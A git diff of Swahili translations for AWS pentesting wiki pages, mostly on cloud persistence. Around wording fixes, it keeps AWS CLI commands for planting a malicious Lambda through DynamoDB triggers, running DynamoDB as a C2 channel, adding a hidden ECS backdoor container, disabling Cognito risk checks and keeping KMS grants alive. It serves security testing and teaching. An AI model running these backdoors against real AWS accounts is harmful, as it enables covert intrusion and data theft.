configure`.\ +Ili mtumiaji wa kawaida aidhinishe kwa AWS kupitia CLI unahitaji kuwa na **vithibitisho vya ndani**. Kwa kawaida unaweza kuviweka **kwa mikono** katika `~/.aws/credentials` au kwa **kukimbia** `aws configure`.\ Katika faili hiyo unaweza kuwa na zaidi ya profaili moja, ikiwa **hakuna profaili** iliyotajwa kwa kutumia **aws cli**, ile inayoitwa **`[default]`** katika faili hiyo itatumika.\ -Mfano wa faili la akiba lenye zaidi ya profaili 1: +Mfano wa faili ya vithibitisho yenye zaidi ya profaili 1: ``` [default] aws_access_key_id = AKIA5ZDCUJHF83HDTYUT @@ -341,10 +341,10 @@ aws_access_key_id = AKIA8YDCu7TGTR356SHYT aws_secret_access_key = uOcdhof683fbOUGFYEQuR2EIHG34UY987g6ff7 region = eu-west-2 ``` -If you need to access **different AWS accounts** and your profile was given access to **assume a role inside those accounts**, you don't need to call manually STS every time (`aws sts assume-role --role-arn --role-session-name sessname`) and configure the credentials. +Ikiwa unahitaji kufikia **akaunti tofauti za AWS** na wasifu wako umepatiwa ruhusa ya **kuchukua jukumu ndani ya akaunti hizo**, huwezi kuhitaji kuita STS kwa mikono kila wakati (`aws sts assume-role --role-arn --role-session-name sessname`) na kuunda akiba. -You can use the `~/.aws/config` file to[ **indicate which roles to assume**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html), and then use the `--profile` param as usual (the `assume-role` will be performed in a transparent way for the user).\ -Mfano wa faili la usanidi: +Unaweza kutumia faili ya `~/.aws/config` [**kuonyesha ni majukumu gani ya kuchukua**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html), na kisha tumia param ya `--profile` kama kawaida (kuchukua jukumu kutafanywa kwa njia ya uwazi kwa mtumiaji).\ +Mfano wa faili ya usanidi: ``` [profile acc2] region=eu-west-2 @@ -359,7 +359,7 @@ aws --profile acc2 ... ``` Ikiwa unatafuta kitu **kama** hiki lakini kwa **browser** unaweza kuangalia **extension** [**AWS Extend Switch Roles**](https://chrome.google.com/webstore/detail/aws-extend-switch-roles/jpmkfafbacpgapdghgdpembnojdlgkdl?hl=en). -## Marejeleo +## Marejeo - [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_getting-started_concepts.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_getting-started_concepts.html) - [https://aws.amazon.com/iam/](https://aws.amazon.com/iam/) diff --git a/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md b/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md index f81491291..56111a2de 100644 --- a/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md +++ b/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md @@ -10,11 +10,11 @@ Kwa maelezo kuhusu SAML tafadhali angalia: https://book.hacktricks.xyz/pentesting-web/saml-attacks {{#endref}} -Ili kuunda **Utambulisho wa Shirikisho kupitia SAML** unahitaji tu kutoa **jina** na **metadata XML** inayojumuisha usanidi wote wa SAML (**mipaka**, **cheti** chenye funguo za umma) +Ili kuunda **Identity Federation kupitia SAML** unahitaji tu kutoa **jina** na **metadata XML** inayojumuisha usanidi wote wa SAML (**endpoints**, **cheti** chenye funguo za umma) ## OIDC - Github Actions Abuse -Ili kuongeza hatua ya github kama Mtoa Utambulisho: +Ili kuongeza hatua ya github kama mtoa kitambulisho: 1. Kwa _Aina ya Mtoa_, chagua **OpenID Connect**. 2. Kwa _URL ya Mtoa_, ingiza `https://token.actions.githubusercontent.com` @@ -44,7 +44,7 @@ Ili kuongeza hatua ya github kama Mtoa Utambulisho: ] } ``` -6. Kumbuka katika sera iliyopita jinsi tu **tawi** kutoka **hifadhi** ya **shirika** lilihitajika kwa **kichocheo** maalum. +6. Kumbuka katika sera iliyopita jinsi tu **tawi** kutoka **hifadhi** ya **shirika** iliruhusiwa kwa **kichocheo** maalum. 7. **ARN** ya **jukumu** ambalo hatua ya github itakuwa na uwezo wa **kujifanya** itakuwa "siri" ambayo hatua ya github inahitaji kujua, hivyo **hifadhi** ndani ya **siri** ndani ya **mazingira**. 8. Hatimaye tumia hatua ya github kuunda AWS creds zitakazotumika na mchakato: ```yaml @@ -88,7 +88,7 @@ eksctl create cluster --name demo --fargate # Create an Identity Provider for an EKS cluster eksctl utils associate-iam-oidc-provider --cluster Testing --approve ``` -Ni rahisi kuunda **OIDC providers** katika **EKS** cluster kwa kuweka **OIDC URL** ya cluster kama **mtoa kitambulisho kipya cha Open ID**. Hii ni sera ya kawaida ya default: +Inawezekana kuunda **OIDC providers** katika **EKS** cluster kwa kuweka **OIDC URL** ya cluster kama **mtoa kitambulisho kipya cha Open ID**. Hii ni sera ya kawaida ya default: ```json { "Version": "2012-10-17", @@ -108,7 +108,7 @@ Ni rahisi kuunda **OIDC providers** katika **EKS** cluster kwa kuweka **OIDC URL ] } ``` -Hii sera inadhihirisha kwa usahihi kwamba **tu** **EKS cluster** yenye **id** `20C159CDF6F2349B68846BEC03BE031B` inaweza kuchukua jukumu. Hata hivyo, haionyeshi ni akaunti gani ya huduma inaweza kuchukua jukumu hilo, ambayo inamaanisha kwamba **AKAUNTI YOYOTE YA HUDUMA yenye tokeni ya utambulisho wa wavuti** itakuwa **na uwezo wa kuchukua** jukumu hilo. +Sera hii inabainisha kwa usahihi kwamba **tu** **EKS cluster** yenye **id** `20C159CDF6F2349B68846BEC03BE031B` inaweza kuchukua jukumu. Hata hivyo, haionyeshi ni akaunti gani ya huduma inaweza kuchukua jukumu hilo, ambayo ina maana kwamba **AKAUNTI YOYOTE YA HUDUMA yenye tokeni ya utambulisho wa wavuti** itakuwa **na uwezo wa kuchukua** jukumu hilo. Ili kubainisha **ni akaunti gani ya huduma inapaswa kuwa na uwezo wa kuchukua jukumu,** inahitajika kubainisha **hali** ambapo **jina la akaunti ya huduma limebainishwa**, kama: ```bash diff --git a/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md b/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md index 41e654742..1058f9663 100644 --- a/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md +++ b/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md @@ -10,8 +10,8 @@ Hizi ndizo ruhusa unazohitaji kwenye kila akaunti ya AWS unayotaka kukagua ili u - **access-analyzer:Get\*** - **iam:CreateServiceLinkedRole** - **access-analyzer:CreateAnalyzer** -- Hiari ikiwa mteja anaunda wachambuzi kwa ajili yako, lakini kwa kawaida ni rahisi tu kuomba ruhusa hii) +- Hiari ikiwa mteja anaunda wachambuzi kwa niaba yako, lakini kwa kawaida ni rahisi tu kuomba ruhusa hii) - **access-analyzer:DeleteAnalyzer** -- Hiari ikiwa mteja anafuta wachambuzi kwa ajili yako, lakini kwa kawaida ni rahisi tu kuomba ruhusa hii) +- Hiari ikiwa mteja anafuta wachambuzi kwa niaba yako, lakini kwa kawaida ni rahisi tu kuomba ruhusa hii) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md index e35ab9075..6d05c6ccf 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md @@ -10,23 +10,23 @@ Kwa maelezo zaidi tembelea: ../aws-services/aws-api-gateway-enum.md {{#endref}} -### Resource Policy +### Sera ya Rasilimali Badilisha sera ya rasilimali ya API gateway(s) ili kujipatia ufikiaji. -### Modify Lambda Authorizers +### Badilisha Waandishi wa Lambda Badilisha msimbo wa waandishi wa lambda ili kujipatia ufikiaji wa mwisho wote.\ Au ondolewa matumizi ya mwandishi. -### IAM Permissions +### Ruhusa za IAM Ikiwa rasilimali inatumia mwandishi wa IAM unaweza kujipatia ufikiaji kwa kubadilisha ruhusa za IAM.\ Au ondolewa matumizi ya mwandishi. -### API Keys +### Funguo za API -Ikiwa funguo za API zinatumika, unaweza kuvuja ili kudumisha uendelevu au hata kuunda mpya.\ +Ikiwa funguo za API zinatumika, unaweza kuziweka wazi ili kudumisha uendelevu au hata kuunda mpya.\ Au ondolewa matumizi ya funguo za API. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md index 1947d1c69..656fb91a1 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md @@ -12,14 +12,14 @@ Kwa maelezo zaidi, tembelea: ### User persistence -Cognito ni huduma inayoruhusu kutoa majukumu kwa watumiaji wasio na uthibitisho na watumiaji walio na uthibitisho na kudhibiti directory ya watumiaji. Mipangilio kadhaa tofauti inaweza kubadilishwa ili kudumisha baadhi ya uvumilivu, kama vile: +Cognito ni huduma inayoruhusu kutoa majukumu kwa watumiaji wasio na uthibitisho na watumiaji walio na uthibitisho na kudhibiti directory ya watumiaji. Mipangilio kadhaa tofauti zinaweza kubadilishwa ili kudumisha baadhi ya uvumilivu, kama vile: - **Kuongeza User Pool** inayodhibitiwa na mtumiaji kwa Identity Pool - Kutoa **IAM role kwa Identity Pool isiyo na uthibitisho na kuruhusu mchakato wa Basic auth** - Au kwa **Identity Pool iliyo na uthibitisho** ikiwa mshambuliaji anaweza kuingia - Au **kuboresha ruhusa** za majukumu yaliyotolewa - **Kuunda, kuthibitisha & privesc** kupitia sifa zinazodhibitiwa na watumiaji au watumiaji wapya katika **User Pool** -- **Kuruhusu Watoa Utambulisho wa Nje** kuingia katika User Pool au katika Identity Pool +- **Kuruhusu Watoa Huduma za Nje za Utambulisho** kuingia katika User Pool au katika Identity Pool Angalia jinsi ya kufanya vitendo hivi katika @@ -33,7 +33,7 @@ Mshambuliaji mwenye ruhusa hii anaweza kubadilisha usanidi wa hatari ili kuweza ```bash aws cognito-idp set-risk-configuration --user-pool-id --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION} ``` -Kwa kawaida hii imezimwa: +Kwa kawaida hii imezimwa:
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md index d668fbe93..fc499651b 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md @@ -12,7 +12,7 @@ Kwa maelezo zaidi tembelea: ### DynamoDB Triggers with Lambda Backdoor -Kwa kutumia vichocheo vya DynamoDB, mshambuliaji anaweza kuunda **backdoor ya siri** kwa kuunganisha kazi ya Lambda yenye uharibifu na jedwali. Kazi ya Lambda inaweza kuchochewa wakati kipengee kinapoongezwa, kubadilishwa, au kufutwa, ikimruhusu mshambuliaji kutekeleza msimbo wowote ndani ya akaunti ya AWS. +Kwa kutumia vichocheo vya DynamoDB, mshambuliaji anaweza kuunda **backdoor ya siri** kwa kuunganisha kazi mbaya ya Lambda na jedwali. Kazi ya Lambda inaweza kuchochewa wakati kipengee kinapoongezwa, kubadilishwa, au kufutwa, ikimruhusu mshambuliaji kutekeleza msimbo wowote ndani ya akaunti ya AWS. ```bash # Create a malicious Lambda function aws lambda create-function \ @@ -38,7 +38,7 @@ Ili kudumisha uvumilivu, mshambuliaji anaweza kuunda au kubadilisha vitu katika ### DynamoDB kama Kituo cha C2 -Mshambuliaji anaweza kutumia meza ya DynamoDB kama **kituo cha amri na udhibiti (C2)** kwa kuunda vitu vyenye amri na kutumia mifano iliyovunjwa au kazi za Lambda kupata na kutekeleza amri hizi. +Mshambuliaji anaweza kutumia meza ya DynamoDB kama **kituo cha amri na udhibiti (C2)** kwa kuunda vitu vyenye amri na kutumia mifano iliyovunjika au kazi za Lambda kupata na kutekeleza amri hizi. ```bash # Create a DynamoDB table for C2 aws dynamodb create-table \ @@ -54,6 +54,6 @@ aws dynamodb put-item \ --item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \ --region ``` -The compromised instances or Lambda functions can periodically check the C2 table for new commands, execute them, and optionally report the results back to the table. This allows the attacker to maintain persistence and control over the compromised resources. +Mifano iliyovunjwa au kazi za Lambda zinaweza kuangalia mara kwa mara jedwali la C2 kwa amri mpya, kuzitekeleza, na kwa hiari kuripoti matokeo nyuma kwenye jedwali. Hii inamruhusu mshambuliaji kudumisha uvumilivu na udhibiti juu ya rasilimali zilizovunjwa. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md index ce4194432..be783a033 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md @@ -10,16 +10,16 @@ Kwa maelezo zaidi angalia: ../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ {{#endref}} -### Usalama wa Kundi la Kundi la Ufuatiliaji wa Muunganisho +### Usalama wa Kundi la Kunganisha Ufuatiliaji wa Ustahimilivu -Ikiwa mlinzi atagundua kuwa **EC2 instance ilikumbwa na shambulio** atajaribu **kuweka mbali** **mtandao** wa mashine hiyo. Anaweza kufanya hivyo kwa kutumia **Deny NACL** (lakini NACL zinaathiri subnet nzima), au **kubadilisha kundi la usalama** kutoruhusu **aina yoyote ya trafiki ya ndani au nje**. +Ikiwa mlinzi atagundua kuwa **EC2 instance ilikumbwa na shambulio** atajaribu **kuweka mbali** **mtandao** wa mashine hiyo. Anaweza kufanya hivyo kwa kutumia **Deny NACL** wazi (lakini NACL zinaathiri subnet nzima), au **kubadilisha kundi la usalama** kutoruhusu **aina yoyote ya trafiki ya kuingia au kutoka**. -Ikiwa mshambuliaji alikuwa na **reverse shell iliyoanzishwa kutoka kwa mashine**, hata kama SG imebadilishwa kutoruhusu trafiki ya ndani au nje, **muunganisho hautakatwa kutokana na** [**Ufuatiliaji wa Muunganisho wa Kundi la Usalama**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.** +Ikiwa mshambuliaji alikuwa na **reverse shell iliyoanzishwa kutoka kwa mashine**, hata kama SG imebadilishwa kutoruhusu trafiki ya kuingia au kutoka, **kuunganisha hakutakatishwa kutokana na** [**Ufuatiliaji wa Kunganisha Kundi la Usalama**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.** ### Meneja wa Mzunguko wa EC2 Huduma hii inaruhusu **kuandaa** **kuundwa kwa AMIs na snapshots** na hata **kuzishiriki na akaunti nyingine**.\ -Mshambuliaji anaweza kuunda **uzalishaji wa AMIs au snapshots** za picha zote au volumes zote **kila wiki** na **kuzishiriki na akaunti yake**. +Mshambuliaji anaweza kuunda **uzalishaji wa AMIs au snapshots** za picha zote au volumu zote **kila wiki** na **kuzishiriki na akaunti yake**. ### Mifano ya Ratiba @@ -27,7 +27,7 @@ Inawezekana kupanga mifano kufanya kazi kila siku, kila wiki au hata kila mwezi. ### Ombi la Spot Fleet -Mifano ya spot ni **za bei nafuu** kuliko mifano za kawaida. Mshambuliaji anaweza kuzindua **ombile dogo la spot fleet kwa miaka 5** (kwa mfano), kwa **ugawaji wa IP** wa kiotomatiki na **data ya mtumiaji** inayotuma kwa mshambuliaji **wakati mfano wa spot unapoanza** na **anwani ya IP** na **jukumu la IAM lenye mamlaka ya juu**. +Mifano ya spot ni **nafuu** kuliko mifano ya kawaida. Mshambuliaji anaweza kuzindua **ombile la spot fleet dogo kwa miaka 5** (kwa mfano), kwa **ugawaji wa IP** wa kiotomatiki na **data ya mtumiaji** inayotuma kwa mshambuliaji **wakati mfano wa spot unapoanza** na **anwani ya IP** na kwa **jukumu la IAM lenye mamlaka ya juu**. ### Mifano ya Backdoor @@ -45,7 +45,7 @@ Mshambuliaji anaweza kupata ufikiaji wa mifano na kuziingiza backdoor: ### VPN -Unda VPN ili mshambuliaji aweze kuungana moja kwa moja kupitia i hadi VPC. +Unda VPN ili mshambuliaji aweze kuungana moja kwa moja kupitia hiyo hadi VPC. ### VPC Peering diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md index 336fbf6da..f2cea080d 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md @@ -12,7 +12,7 @@ Kwa maelezo zaidi angalia: ### Picha ya Docker Iliyojificha yenye Msimbo Mbaya -Mshambuliaji anaweza **kupakia picha ya Docker yenye msimbo mbaya** kwenye hifadhi ya ECR na kuitumia kudumisha uvumilivu katika akaunti ya AWS inayolengwa. Mshambuliaji anaweza kisha kupeleka picha hiyo mbaya kwa huduma mbalimbali ndani ya akaunti, kama vile Amazon ECS au EKS, kwa njia ya siri. +Mshambuliaji anaweza **kupakia picha ya Docker yenye msimbo mbaya** kwenye hifadhi ya ECR na kuitumia kudumisha uendelevu katika akaunti ya AWS inayolengwa. Mshambuliaji anaweza kisha kupeleka picha hiyo mbaya kwa huduma mbalimbali ndani ya akaunti, kama vile Amazon ECS au EKS, kwa njia ya siri. ### Sera ya Hifadhi @@ -41,11 +41,11 @@ aws ecr set-repository-policy \ } ``` > [!WARNING] -> Kumbuka kwamba ECR inahitaji watumiaji kuwa na **ruhusa** ya kufanya simu kwa **`ecr:GetAuthorizationToken`** API kupitia sera ya IAM **kabla ya kuweza kuthibitisha** kwenye rejista na kusukuma au kuvuta picha yoyote kutoka kwenye hifadhi yoyote ya Amazon ECR. +> Kumbuka kwamba ECR inahitaji watumiaji kuwa na **ruhusa** ya kufanya wito kwa **`ecr:GetAuthorizationToken`** API kupitia sera ya IAM **kabla ya kuweza kuthibitisha** kwenye rejista na kusukuma au kuvuta picha yoyote kutoka kwa hifadhi yoyote ya Amazon ECR. ### Sera ya Rejista & Urejeleaji wa Makaratasi Mbalimbali -Inawezekana kurejeleza moja kwa moja rejista katika akaunti ya nje kwa kuunda urejeleaji wa makaratasi mbalimbali, ambapo unahitaji **kuashiria akaunti ya nje** ambapo unataka kurejeleza rejista hiyo. +Inawezekana kurejeleza moja kwa moja rejista katika akaunti ya nje kwa kuunda urejeleaji wa makaratasimbalimbali, ambapo unahitaji **kuashiria akaunti ya nje** ambapo unataka kurejeleza rejista hiyo.
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md index 79af6532b..450953b64 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md @@ -44,12 +44,12 @@ aws events put-targets --rule "malicious-ecs-task-rule" --targets '[ } ]' ``` -### Backdoor Container katika Mwelekeo wa Kazi wa ECS uliopo +### Backdoor Container katika Mwelekeo wa ECS uliopo > [!NOTE] > TODO: Test -Mshambuliaji anaweza kuongeza **container ya nyuma isiyoonekana** katika mwelekeo wa kazi wa ECS uliopo ambayo inafanya kazi pamoja na container halali. Container ya nyuma inaweza kutumika kwa kudumu na kutekeleza shughuli mbaya. +Mshambuliaji anaweza kuongeza **container ya nyuma isiyoonekana** katika mwelekeo wa ECS uliopo inayotembea sambamba na container halali. Container ya nyuma inaweza kutumika kwa kudumu na kufanya shughuli za uhalifu. ```bash # Update the existing task definition to include the backdoor container aws ecs register-task-definition --family "existing-task" --container-definitions '[ @@ -74,7 +74,7 @@ aws ecs register-task-definition --family "existing-task" --container-definition > [!NOTE] > TODO: Test -Mshambuliaji anaweza kuunda **huduma ya ECS isiyoandikwa** inayokimbiza kazi mbaya. Kwa kuweka idadi inayotakiwa ya kazi kuwa ya chini na kuzima uandishi wa kumbukumbu, inakuwa vigumu kwa wasimamizi kugundua huduma hiyo mbaya. +Mshambuliaji anaweza kuunda **huduma ya ECS isiyoandikwa** inayotekeleza kazi mbaya. Kwa kuweka idadi inayotakiwa ya kazi kuwa ya chini na kuzima uandishi wa habari, inakuwa vigumu kwa wasimamizi kugundua huduma hiyo mbaya. ```bash # Create a malicious task definition aws ecs register-task-definition --family "malicious-task" --container-definitions '[ diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md index 766af8e29..0b3352eaf 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md @@ -16,6 +16,6 @@ Kwa kubadilisha **sera ya rasilimali na/v au vikundi vya usalama** unaweza kujar ### Unda Kituo cha Ufikiaji -Unaweza **kuunda kituo cha ufikiaji** (ikiwa na ufikiaji wa mzizi kwa `/`) kinachoweza kufikiwa kutoka kwa huduma ambapo umeanzisha **muhimu nyingine** ili kudumisha ufikiaji wa kijasiri kwenye mfumo wa faili. +Unaweza **kuunda kituo cha ufikiaji** (kilicho na ufikiaji wa mizizi kwa `/`) kinachoweza kufikiwa kutoka kwa huduma ambayo umeanzisha **muhimu nyingine** ili kudumisha ufikiaji wa kijasiri kwenye mfumo wa faili. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md index 0388e3ec8..9dd8cd491 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md @@ -12,11 +12,11 @@ Kwa maelezo zaidi angalia: ### Persistence in Instance -Ili kudumisha uendelevu ndani ya akaunti ya AWS, **mekanismu ya uendelevu inaweza kuanzishwa ndani ya instance** (kazi ya cron, ufunguo wa ssh...) ili mshambuliaji aweze kuipata na kuiba **credentials za IAM role kutoka kwa huduma ya metadata**. +Ili kudumisha uendelevu ndani ya akaunti ya AWS, **mekanismu ya uendelevu inaweza kuanzishwa ndani ya instance** (kazi ya cron, funguo za ssh...) ili mshambuliaji aweze kuipata na kuiba **credentials za IAM role kutoka huduma ya metadata**. ### Backdoor in Version -Mshambuliaji anaweza kuweka backdoor kwenye msimbo ndani ya repo ya S3 ili kila wakati ifanye backdoor yake na msimbo unaotarajiwa. +Mshambuliaji anaweza kuweka backdoor kwenye msimbo ndani ya repo ya S3 ili kila wakati ifanye kazi yake ya backdoor na msimbo unaotarajiwa. ### New backdoored version @@ -27,7 +27,7 @@ Badala ya kubadilisha msimbo kwenye toleo halisi, mshambuliaji anaweza kupeleka > [!NOTE] > TODO: Test -Elastic Beanstalk inatoa mizunguko ya maisha ambayo inakuruhusu kuendesha skripti za kawaida wakati wa upatikanaji na kumalizika kwa instance. Mshambuliaji anaweza **kuweka mzunguko wa maisha ili kwa muda fulani kuendesha skripti inayotoa data au kudumisha ufikiaji wa akaunti ya AWS**. +Elastic Beanstalk inatoa hooks za mzunguko wa maisha ambazo zinakuwezesha kuendesha skripti za kawaida wakati wa upatikanaji na kumaliza instance. Mshambuliaji anaweza **kuweka hook ya mzunguko wa maisha ili mara kwa mara kuendesha skripti inayotoa data au kudumisha ufikiaji wa akaunti ya AWS**. ```bash bashCopy code# Attacker creates a script that exfiltrates data and maintains access echo '#!/bin/bash diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md index 1b490f61b..0ade69ee6 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md @@ -10,16 +10,16 @@ Kwa maelezo zaidi tembelea: ../aws-services/aws-iam-enum.md {{#endref}} -### Uthibitishaji wa IAM wa Kawaida +### Uthibitishaji wa kawaida wa IAM - Unda mtumiaji - Ongeza mtumiaji anayedhibitiwa kwenye kundi lenye mamlaka - Unda funguo za ufikiaji (za mtumiaji mpya au za watumiaji wote) -- Toa ruhusa za ziada kwa watumiaji/vikundi vilivyo na udhibiti (sera zilizounganishwa au sera za ndani) +- Toa ruhusa za ziada kwa watumiaji/vidokezo vilivyodhibitiwa (sera zilizounganishwa au sera za ndani) - Zima MFA / Ongeza kifaa chako cha MFA - Unda hali ya Mnyororo wa Jukumu (zaidi kuhusu hii hapa chini katika uthibitishaji wa STS) -### Sera za Kuamini Jukumu la Backdoor +### Sera za Kuamini za Backdoor Unaweza kuingiza backdoor kwenye sera ya kuamini ili uweze kuichukua kwa rasilimali ya nje inayodhibitiwa na wewe (au kwa kila mtu): ```json @@ -36,12 +36,12 @@ Unaweza kuingiza backdoor kwenye sera ya kuamini ili uweze kuichukua kwa rasilim ] } ``` -### Sera ya Backdoor +### Sera ya Backdoor Toleo -Patia ruhusa za Msimamizi sera katika toleo lake si la mwisho (toleo la mwisho linapaswa kuonekana halali), kisha piga hiyo sera kwa mtumiaji/jeshi lililodhibitiwa. +Patia ruhusa za Msimamizi kwa sera katika toleo lake si la mwisho (toleo la mwisho linapaswa kuonekana halali), kisha piga hiyo sera kwa mtumiaji/jeshi lililodhibitiwa. ### Backdoor / Unda Mtoa Kitambulisho -Ikiwa akaunti tayari inatumia mtoa kitambulisho wa kawaida (kama Github) masharti ya uaminifu yanaweza kuongezwa ili mshambuliaji aweze kuyatumia. +Ikiwa akaunti tayari inategemea mtoa kitambulisho wa kawaida (kama Github) masharti ya uaminifu yanaweza kuongezwa ili mshambuliaji aweze kuyatumia. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md index cc64ee43f..342c0f4da 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md @@ -14,13 +14,13 @@ Kwa maelezo zaidi angalia: Mshambuliaji anaweza kutumia ruhusa **`kms:PutKeyPolicy`** ili **kutoa ufikiaji** kwa funguo kwa mtumiaji chini ya udhibiti wake au hata kwa akaunti ya nje. Angalia [**ukurasa wa KMS Privesc**](../aws-privilege-escalation/aws-kms-privesc.md) kwa maelezo zaidi. -### Eternal Grant +### Grant ya Milele -Mikopo ni njia nyingine ya kutoa ruhusa kwa kiongozi juu ya funguo maalum. Inawezekana kutoa mkopo unaomruhusu mtumiaji kuunda mikopo. Zaidi ya hayo, mtumiaji anaweza kuwa na mikopo kadhaa (hata sawa) juu ya funguo hiyo hiyo. +Grants ni njia nyingine ya kutoa ruhusa kwa msingi fulani juu ya funguo maalum. Inawezekana kutoa grant inayomruhusu mtumiaji kuunda grants. Zaidi ya hayo, mtumiaji anaweza kuwa na grants kadhaa (hata sawa) juu ya funguo hiyo hiyo. -Hivyo, inawezekana kwa mtumiaji kuwa na mikopo 10 yenye ruhusa zote. Mshambuliaji anapaswa kufuatilia hili mara kwa mara. Na ikiwa kwa wakati fulani mkopo 1 utaondolewa, mingine 10 inapaswa kuundwa. +Hivyo, inawezekana kwa mtumiaji kuwa na grants 10 zikiwa na ruhusa zote. Mshambuliaji anapaswa kufuatilia hili mara kwa mara. Na ikiwa kwa wakati fulani grant 1 itatolewa, nyingine 10 zinapaswa kuundwa. -(Tunatumia 10 na si 2 ili kuweza kugundua kwamba mkopo umeondolewa wakati mtumiaji bado ana mkopo fulani) +(Tunatumia 10 na si 2 ili kuweza kugundua kwamba grant iliondolewa wakati mtumiaji bado ana grant fulani) ```bash # To generate grants, generate 10 like this one aws kms create-grant \ diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md index 479a3bbd2..15be11ca9 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md @@ -20,27 +20,27 @@ aws-lambda-layers-persistence.md ### Lambda Extension Persistence -Kwa kutumia Lambda Layers inawezekana pia kutumia extensions na kudumu katika lambda lakini pia kuiba na kubadilisha maombi. +Kutumia Lambda Layers pia inawezekana kutumia extensions na kudumu katika lambda lakini pia kuiba na kubadilisha maombi. {{#ref}} aws-abusing-lambda-extensions.md {{#endref}} -### Kupitia sera za rasilimali +### Via resource policies Inawezekana kutoa ufikiaji kwa vitendo tofauti vya lambda (kama vile kuita au kuboresha msimbo) kwa akaunti za nje:
-### Matoleo, Majina Mbadala & Uzito +### Versions, Aliases & Weights -Lambda inaweza kuwa na **matoleo tofauti** (ikiwa na msimbo tofauti kila toleo).\ -Kisha, unaweza kuunda **majina mbadala tofauti na matoleo tofauti** ya lambda na kuweka uzito tofauti kwa kila moja.\ +Lambda inaweza kuwa na **matoleo tofauti** (ikiwa na msimbo tofauti kwa kila toleo).\ +Kisha, unaweza kuunda **majina tofauti na matoleo tofauti** ya lambda na kuweka uzito tofauti kwa kila moja.\ Hivi ndivyo mshambuliaji anaweza kuunda **toleo la backdoored 1** na **toleo la 2 lenye msimbo halali tu** na **kutekeleza toleo la 1 tu katika 1%** ya maombi ili kubaki kwa siri.
